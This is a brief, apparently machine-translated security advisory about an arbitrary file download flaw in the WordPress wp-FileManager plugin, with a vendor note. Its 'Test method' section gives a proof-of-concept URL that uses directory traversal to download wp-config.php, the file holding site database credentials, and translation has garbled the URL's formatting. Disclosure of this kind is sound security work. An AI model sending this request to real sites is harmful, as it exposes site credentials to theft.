WordPress wp-FileManager plug-in 'path' parameter Arbitrary File Download Vulnerability

Release date:
Updated on: 2013-05-17

Affected Systems:
WordPress wp-FileManager
Description:
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Bugtraq id: 59886
 
The FileManager for WordPress plugin can be used to modify, delete, organize, and upload files.
 
WordPress wp-FileManager plugin has a security vulnerability that allows attackers to download arbitrary files from the website.
 
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Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Http://www.example.com/wp-content/plugins/wp-filemanager/incl/libfile.php? & Amp; path = ../& amp; filename = wp-config.php & amp; action = download

Suggestion:
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Vendor patch:
 
WordPress
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Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://wordpress.org/extend/plugins/wp-filemanager/